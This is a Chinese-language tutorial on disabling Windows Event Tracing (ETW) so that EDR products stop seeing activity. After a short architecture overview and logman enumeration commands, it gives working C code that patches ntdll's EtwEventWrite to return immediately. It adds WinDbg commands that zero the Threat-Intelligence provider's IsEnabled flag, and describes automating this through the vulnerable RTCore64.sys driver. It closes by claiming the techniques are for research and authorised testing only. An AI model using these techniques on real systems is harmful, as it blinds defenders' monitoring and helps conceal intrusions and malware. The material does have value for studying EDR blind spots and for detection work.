Windows ETW攻击技术教学文档
1. ETW简介
Windows事件追踪(ETW)是由微软操作系统提供的一种通用、高速的事件追踪机制。它允许从用户模式应用程序和内核模式驱动程序中收集详细的事件数据,并利用缓冲和日志记录机制,为这些事件提供追踪功能。
由于ETW提供了一个安全的传输遥测数据的通道,众多终端检测与响应(EDR)系统严重依赖于它。这些遥测数据是EDR进行有效威胁检测、记录和响应的核心依据。
因此,攻击者若能破坏或绕过ETW,即可导致依赖其数据的 EDR 系统“致盲”,从而隐藏恶意活动。
2. ETW基本架构
ETW 主要包含四大核心组件:
- 提供者 (Provider): 负责生成事件并将其写入到 ETW 追踪会话中。系统本身包含大量内核提供者,用户应用程序也可自定义提供者。
- 消费者 (Consumer): 用于消费(处理)ETW 追踪会话中的事件。消费者可实时订阅会话,亦可读取已存储的日志文件。一个消费者可订阅多个会话。
- 会话 (Session): 用于实时收集和存储事件数据的通道。多个提供者可向同一会话写入数据,多个消费者也可从同一会话读取数据。
- 控制器 (Controller): 用于控制 ETW 追踪会话的启动、停止,控制事件的流向,以及设置存储事件数据的日志文件。控制器还负责管理会话缓冲区及追踪相关统计数据。
3. ETW 信息枚举与查询
3.1 查询 ETW 提供者
- 查询内置ETW提供者的总数:
logman query providers | find /c /v "" - 列出所有ETW提供程序及其GUID:
logman query providers - 查询特定提供者的详细信息(如记录的事件类型):
例如,logman query providers <Provider_Name>Microsoft-Windows-Threat-Intelligence提供者会记录本地与远程进程的内存分配、内存保护等事件。
3.2 查询 ETW 追踪会话
-
列出所有ETW追踪会话及其运行状态:
logman query -ets某些安全产品(如 Sysmon)会创建自己的会话(例如
Sysmon-Trace和SysmonDnsEtwSession)。而部分EDR(如 Windows Defender)的会话(如DefenderAuditLogger)可能受到保护,在用户模式下不可见。 -
查询特定会话关联的提供者:
logman query <Session_Name> -ets例如,
SysmonDnsEtwSession会话的提供者通常是Microsoft-Windows-DNS-Client。
3.3 普通提供者与安全提供者
- 普通 ETW 提供者:可以从用户模式进行访问、修改,相对容易遭到篡改或禁用。
- 安全的 ETW 提供者:通常被 EDR 使用,受到用户模式的保护。除非以受保护进程(PPL)方式运行,否则普通权限进程无法轻易禁用或查询它们。
4. 用户层ETW绕过技术
核心思路是修补 ntdll.dll 中的 EtwEventWrite 函数。此API是用户模式ETW提供者向会话写入事件的关键函数,禁用后可阻止相关事件被EDR捕获。
4.1 修补原理
将 EtwEventWrite 函数的起始字节替换为操作码 0x48, 0x33, 0xc0, 0xc3(对应汇编指令 xor rax, rax; ret)。这条指令将 RAX 寄存器(在Windows调用约定中通常存放返回值)清零并立即返回,使函数调用总是返回成功(STATUS_SUCCESS),而实际不执行任何事件写入操作。
4.2 实现步骤
- 获取函数地址:通过
GetModuleHandleA和GetProcAddress获取ntdll.dll中EtwEventWrite的地址。 - 修改内存保护:使用
NtProtectVirtualMemory将目标函数内存页的保护属性从PAGE_EXECUTE_READ更改为PAGE_EXECUTE_READWRITE,使其可写。 - 写入补丁字节:使用
NtWriteVirtualMemory将上述操作码写入EtwEventWrite函数的开头。 - 恢复内存保护:再次调用
NtProtectVirtualMemory,将内存保护属性恢复为PAGE_EXECUTE_READ。
4.3 示例代码 (C)
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* fnNtProtectVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtection,
OUT PULONG OldProtection
);
typedef NTSTATUS (NTAPI* fnNtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer,
_In_ SIZE_T NumberOfBytesToWrite,
_Out_opt_ PSIZE_T NumberOfBytesWritten
);
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
void PatchEtw(HANDLE hProcess) {
HMODULE NtdllModule = GetModuleHandleA("ntdll.dll");
PVOID pAddress = GetProcAddress(NtdllModule,"EtwEventWrite");
char etwPatch[] = { 0x48,0x33,0xc0,0xc3 }; // xor rax, rax; ret
PVOID baseAddress = pAddress;
SIZE_T regionSize = 4;
ULONG oldProtect = 0;
fnNtWriteVirtualMemory NtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(NtdllModule, "NtWriteVirtualMemory");
fnNtProtectVirtualMemory NtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(NtdllModule, "NtProtectVirtualMemory");
NTSTATUS status = NtProtectVirtualMemory(hProcess, &baseAddress, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
SIZE_T NumberOfBytes = NULL;
NtWriteVirtualMemory(hProcess, pAddress, (PVOID)etwPatch, sizeof(etwPatch),&NumberOfBytes);
NTSTATUS status1 = NtProtectVirtualMemory(hProcess, &baseAddress, ®ionSize, PAGE_EXECUTE_READ, &oldProtect);
}
int main() {
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId());
PatchEtw(hProcess);
return 0;
}
4.4 效果验证
可以创建一个监控特定ETW提供者(如 Microsoft-Windows-DotNETRuntime)的会话,在修补前后分别运行会触发该提供者的代码(如加载CLR),通过分析生成的ETL日志文件,可以验证修补后相关事件是否消失。
5. 内核层ETW绕过技术
内核模式的ETW提供者(包括系统内核和驱动程序)通过调用 EtwRegister 函数进行注册,并获得一个注册句柄。此句柄是后续调用 EtwWrite/EtwWriteEx 写入事件的凭证,其状态由内部结构管理。
5.1 内核ETW提供者注册与写入机制
- 注册:驱动程序(如
ntoskrnl.exe,WdFilter.sys,MpFilter.sys)在初始化时调用EtwRegister,传入GUID等参数,并获取一个注册句柄(通常存储在驱动程序的全局变量中)。 - 写入:在需要记录事件的地方,驱动程序调用
EtwWrite等函数,传入此注册句柄和事件数据。
5.2 通过 WinDbg 手动禁用内核 ETW 提供者
此方法需要内核调试器权限,通过修改关键数据结构中的启用标志位来实现。
操作步骤:
- 定位注册句柄地址:
x <Driver_Name>!<RegHandle_Name> # 例如: x nt!EtwThreatIntProvRegHandle - 解引用获取句柄值(指向
_ETW_REG_ENTRY结构):dq <RegHandle_Addr> L1 - 解析
_ETW_REG_ENTRY并获取_ETW_GUID_ENTRY地址:dt nt!_ETW_REG_ENTRY <RegHandle_Value> dq <RegHandle_Value>+0x20 L1 # 获取 GuidEntry 地址 - 解析
_ETW_GUID_ENTRY并定位ProviderEnableInfo:dt nt!_ETW_GUID_ENTRY <GuidEntry_Addr>ProviderEnableInfo成员位于_ETW_GUID_ENTRY结构偏移0x60处,其类型为_TRACE_ENABLE_INFO。 - 查看并修改
IsEnabled标志:dt nt!_TRACE_ENABLE_INFO <GuidEntry_Addr>+0x60IsEnabled成员决定了提供程序是否启用(1为启用,0为禁用)。使用eb命令修改其值:eb <GuidEntry_Addr>+0x60 0x0 # 禁用提供者 eb <GuidEntry_Addr>+0x60 0x1 # 启用提供者
快捷命令:
- 查询状态:
db poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 L1 - 修改状态:
eb poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 0x0
5.3 利用漏洞驱动程序(RTCore64.sys)禁用内核 ETW
此方法利用具有内核读/写能力的漏洞驱动程序(如存在任意地址读写的 RTCore64.sys),在用户态程序中实现自动化禁用。
实现思路:
- 解析符号偏移:通过微软PDB符号文件获取关键符号(如
EtwThreatIntProvRegHandle)在ntoskrnl.exe中的偏移量,以及关键结构体(_ETW_REG_ENTRY,_ETW_GUID_ENTRY)中GuidEntry(+0x20)和ProviderEnableInfo(+0x60)成员的偏移。 - 计算目标地址:
- 获取
ntoskrnl.exe基址。 - 基址 + 符号偏移 = 注册句柄变量地址。
- 利用驱动漏洞,读取该地址处的值,得到
_ETW_REG_ENTRY指针。 - 通过指针和偏移量链式计算,最终得到
ProviderEnableInfo.IsEnabled标志位的绝对内核地址。
- 获取
- 读写操作:利用驱动漏洞提供的任意读/写原语,读取该地址的当前值,并根据需要将其写入
0x0(禁用)或0x1(启用)。
6. 总结
本文档详细阐述了Windows ETW机制的原理、组件及查询方法,并深入分析了在用户层和内核层绕过或禁用ETW的技术手段。理解这些技术有助于安全研究人员评估EDR的可见性盲点,并强化防御方对相关攻击的检测能力。所有技术仅用于安全研究与授权测试。